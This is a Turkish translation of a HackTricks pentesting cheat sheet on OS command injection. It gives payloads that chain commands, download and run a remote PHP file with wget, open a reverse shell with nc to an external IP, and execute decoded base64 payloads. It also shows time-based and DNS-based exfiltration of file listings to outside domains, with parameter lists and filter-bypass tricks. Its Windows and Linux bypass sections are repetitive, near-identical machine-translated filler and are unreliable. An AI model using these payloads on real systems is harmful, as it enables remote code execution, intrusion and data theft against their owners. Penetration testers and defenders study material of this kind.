12 KiB
Komut Enjeksiyonu
htARTE (HackTricks AWS Kırmızı Takım Uzmanı) ile sıfırdan kahraman olmak için AWS hackleme öğrenin!
HackTricks'i desteklemenin diğer yolları:
- Şirketinizi HackTricks'te reklamını görmek veya HackTricks'i PDF olarak indirmek için ABONELİK PLANLARI'na göz atın!
- Resmi PEASS & HackTricks ürünlerini edinin
- The PEASS Ailesi'ni keşfedin, özel NFT'lerimiz koleksiyonumuz
- 💬 Discord grubuna veya telegram grubuna katılın veya Twitter 🐦 @carlospolopm'u takip edin.
- Hacking hilelerinizi HackTricks ve HackTricks Cloud github depolarına PR göndererek paylaşın.
Dünyanın en gelişmiş topluluk araçları tarafından desteklenen Trickest kullanarak kolayca iş akışları oluşturun ve otomatikleştirin.
Bugün Erişim Alın:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
Komut Enjeksiyonu Nedir?
Komut enjeksiyonu, bir saldırganın bir uygulamanın barındırıldığı sunucuda keyfi işletim sistemi komutlarını çalıştırmasına izin verir. Sonuç olarak, uygulama ve tüm verileri tamamen tehlikeye atılabilir. Bu komutların çalıştırılması genellikle saldırganın yetkisiz erişim veya kontrol elde etmesine olanak tanır ve uygulamanın ortamı ve alt sistem üzerinde kontrol sağlar.
Bağlam
Girdinizin nereye enjekte edildiğine bağlı olarak, komutlardan önce alıntılanan bağlamı sonlandırmak için ("
veya '
) kullanmanız gerekebilir.
Komut Enjeksiyonu/Çalıştırma
#Both Unix and Windows supported
ls||id; ls ||id; ls|| id; ls || id # Execute both
ls|id; ls |id; ls| id; ls | id # Execute both (using a pipe)
ls&&id; ls &&id; ls&& id; ls && id # Execute 2º if 1º finish ok
ls&id; ls &id; ls& id; ls & id # Execute both but you can only see the output of the 2º
ls %0A id # %0A Execute both (RECOMMENDED)
#Only unix supported
`ls` # ``
$(ls) # $()
ls; id # ; Chain commands
ls${LS_COLORS:10:1}${IFS}id # Might be useful
#Not executed but may be interesting
> /var/www/html/out.txt #Try to redirect the output to a file
< /etc/passwd #Try to send some input to the command
Sınırlama Atlamaları
Eğer bir Linux makinesi içinde keyfi komutlar çalıştırmaya çalışıyorsanız, bu Atlamalar hakkında okumak isteyebilirsiniz:
{% content-ref url="../linux-hardening/useful-linux-commands/bypass-bash-restrictions.md" %} bypass-bash-restrictions.md {% endcontent-ref %}
Örnekler
vuln=127.0.0.1 %0a wget https://web.es/reverse.txt -O /tmp/reverse.php %0a php /tmp/reverse.php
vuln=127.0.0.1%0anohup nc -e /bin/bash 51.15.192.49 80
vuln=echo PAYLOAD > /tmp/pay.txt; cat /tmp/pay.txt | base64 -d > /tmp/pay; chmod 744 /tmp/pay; /tmp/pay
Parametreler
İşte kod enjeksiyonu ve benzeri RCE zafiyetlerine karşı savunmasız olabilecek en üst 25 parametre (kaynak: link):
1. `$_GET`
2. `$_POST`
3. `$_REQUEST`
4. `$_COOKIE`
5. `$_FILES`
6. `$_SERVER`
7. `$_ENV`
8. `$_SESSION`
9. `$_GLOBALS`
10. `$_SERVER['HTTP_COOKIE']`
11. `$_SERVER['HTTP_USER_AGENT']`
12. `$_SERVER['HTTP_REFERER']`
13. `$_SERVER['HTTP_ACCEPT']`
14. `$_SERVER['HTTP_ACCEPT_LANGUAGE']`
15. `$_SERVER['HTTP_ACCEPT_ENCODING']`
16. `$_SERVER['HTTP_ACCEPT_CHARSET']`
17. `$_SERVER['HTTP_CONNECTION']`
18. `$_SERVER['HTTP_HOST']`
19. `$_SERVER['HTTP_X_FORWARDED_FOR']`
20. `$_SERVER['HTTP_X_FORWARDED_HOST']`
21. `$_SERVER['HTTP_X_FORWARDED_SERVER']`
22. `$_SERVER['HTTP_X_FORWARDED_PROTO']`
23. `$_SERVER['HTTP_X_REAL_IP']`
24. `$_SERVER['HTTP_X_REQUESTED_WITH']`
25. `$_SERVER['HTTP_ORIGIN']`
?cmd={payload}
?exec={payload}
?command={payload}
?execute{payload}
?ping={payload}
?query={payload}
?jump={payload}
?code={payload}
?reg={payload}
?do={payload}
?func={payload}
?arg={payload}
?option={payload}
?load={payload}
?process={payload}
?step={payload}
?read={payload}
?function={payload}
?req={payload}
?feature={payload}
?exe={payload}
?module={payload}
?payload={payload}
?run={payload}
?print={payload}
Zaman tabanlı veri sızdırma
Veri çıkarma: karakter karakter
swissky@crashlab▸ ~ ▸ $ time if [ $(whoami|cut -c 1) == s ]; then sleep 5; fi
real 0m5.007s
user 0m0.000s
sys 0m0.000s
swissky@crashlab▸ ~ ▸ $ time if [ $(whoami|cut -c 1) == a ]; then sleep 5; fi
real 0m0.002s
user 0m0.000s
sys 0m0.000s
DNS tabanlı veri dışa aktarma
https://github.com/HoLyVieR/dnsbin
adresinde bulunan araç temel alınarak dnsbin.zhack.ca üzerinde barındırılmaktadır.
1. Go to http://dnsbin.zhack.ca/
2. Execute a simple 'ls'
for i in $(ls /) ; do host "$i.3a43c7e4e57a8d0e2057.d.zhack.ca"; done
$(host $(wget -h|head -n1|sed 's/[ ,]/-/g'|tr -d '.').sudo.co.il)
Windows için filtreleme atlatma yöntemleri:
-
Komut enjeksiyonu: Filtrelenmiş komutları çalıştırmak için komut enjeksiyonu kullanabilirsiniz. Bu, filtreleri atlatmanın etkili bir yoludur.
-
Karakter kodlaması: Filtrelenmiş karakterleri atlatmak için karakter kodlaması kullanabilirsiniz. Örneğin, bir komutu çalıştırmak için ASCII veya Unicode karakterlerini kullanabilirsiniz.
-
Komut zincirleme: Birden fazla komutu birleştirerek filtreleri atlayabilirsiniz. Bu, filtrelenmiş komutları çalıştırmak için etkili bir yöntemdir.
-
Yorumlama karakterleri: Filtrelenmiş komutları çalıştırmak için yorumlama karakterlerini kullanabilirsiniz. Örneğin, "#" veya "//" gibi karakterler filtreleri atlamak için kullanılabilir.
-
Dosya uzantıları: Filtrelenmiş komutları çalıştırmak için dosya uzantılarını kullanabilirsiniz. Örneğin, ".bat" veya ".cmd" gibi uzantılar filtreleri atlamak için kullanılabilir.
-
Çift tırnaklar: Filtrelenmiş komutları çalıştırmak için çift tırnakları kullanabilirsiniz. Bu, filtreleri atlamak için etkili bir yöntemdir.
-
Boşlukları atlatma: Filtrelenmiş komutları çalıştırmak için boşlukları atlayabilirsiniz. Örneğin, komutları birleştirerek veya komutları çift tırnaklar içine alarak boşlukları atlayabilirsiniz.
-
Komut parametreleri: Filtrelenmiş komutları çalıştırmak için komut parametrelerini kullanabilirsiniz. Bu, filtreleri atlamak için etkili bir yöntemdir.
-
Alternatif komutlar: Filtrelenmiş komutları çalıştırmak için alternatif komutları kullanabilirsiniz. Örneğin, "powershell" veya "cmd.exe" gibi alternatif komutlar filtreleri atlamak için kullanılabilir.
-
Çevre değişkenleri: Filtrelenmiş komutları çalıştırmak için çevre değişkenlerini kullanabilirsiniz. Bu, filtreleri atlamak için etkili bir yöntemdir.
Linux
Linux için filtreleme atlatma yöntemleri:
-
Komut enjeksiyonu: Filtrelenmiş komutları çalıştırmak için komut enjeksiyonu kullanabilirsiniz. Bu, filtreleri atlatmanın etkili bir yoludur.
-
Karakter kodlaması: Filtrelenmiş karakterleri atlatmak için karakter kodlaması kullanabilirsiniz. Örneğin, bir komutu çalıştırmak için ASCII veya Unicode karakterlerini kullanabilirsiniz.
-
Komut zincirleme: Birden fazla komutu birleştirerek filtreleri atlayabilirsiniz. Bu, filtrelenmiş komutları çalıştırmak için etkili bir yöntemdir.
-
Yorumlama karakterleri: Filtrelenmiş komutları çalıştırmak için yorumlama karakterlerini kullanabilirsiniz. Örneğin, "#" veya "//" gibi karakterler filtreleri atlamak için kullanılabilir.
-
Dosya uzantıları: Filtrelenmiş komutları çalıştırmak için dosya uzantılarını kullanabilirsiniz. Örneğin, ".sh" veya ".bash" gibi uzantılar filtreleri atlamak için kullanılabilir.
-
Çift tırnaklar: Filtrelenmiş komutları çalıştırmak için çift tırnakları kullanabilirsiniz. Bu, filtreleri atlamak için etkili bir yöntemdir.
-
Boşlukları atlatma: Filtrelenmiş komutları çalıştırmak için boşlukları atlayabilirsiniz. Örneğin, komutları birleştirerek veya komutları çift tırnaklar içine alarak boşlukları atlayabilirsiniz.
-
Komut parametreleri: Filtrelenmiş komutları çalıştırmak için komut parametrelerini kullanabilirsiniz. Bu, filtreleri atlamak için etkili bir yöntemdir.
-
Alternatif komutlar: Filtrelenmiş komutları çalıştırmak için alternatif komutları kullanabilirsiniz. Örneğin, "bash" veya "sh" gibi alternatif komutlar filtreleri atlamak için kullanılabilir.
-
Çevre değişkenleri: Filtrelenmiş komutları çalıştırmak için çevre değişkenlerini kullanabilirsiniz. Bu, filtreleri atlamak için etkili bir yöntemdir.
powershell C:**2\n??e*d.*? # notepad
@^p^o^w^e^r^shell c:**32\c*?c.e?e # calc
Linux
{% content-ref url="../linux-hardening/useful-linux-commands/bypass-bash-restrictions.md" %} bypass-bash-restrictions.md {% endcontent-ref %}
Brute-Force Tespit Listesi
{% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/command_injection.txt" %}
Referanslar
- https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Command%20Injection
- https://portswigger.net/web-security/os-command-injection
AWS hacklemeyi sıfırdan kahramanla öğrenin htARTE (HackTricks AWS Red Team Expert)!
HackTricks'i desteklemenin diğer yolları:
- Şirketinizi HackTricks'te reklamınızı görmek veya HackTricks'i PDF olarak indirmek için ABONELİK PLANLARINI kontrol edin!
- Resmi PEASS & HackTricks ürünlerini edinin
- Özel NFT'lerden oluşan koleksiyonumuz The PEASS Family'yi keşfedin
- 💬 Discord grubuna veya telegram grubuna katılın veya Twitter 🐦 @carlospolopm'u takip edin.
- Hacking hilelerinizi HackTricks ve HackTricks Cloud github reposuna PR göndererek paylaşın.
Trickest kullanarak dünyanın en gelişmiş topluluk araçları tarafından desteklenen iş akışlarını kolayca oluşturun ve otomatikleştirin.
Bugün Erişim Alın:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}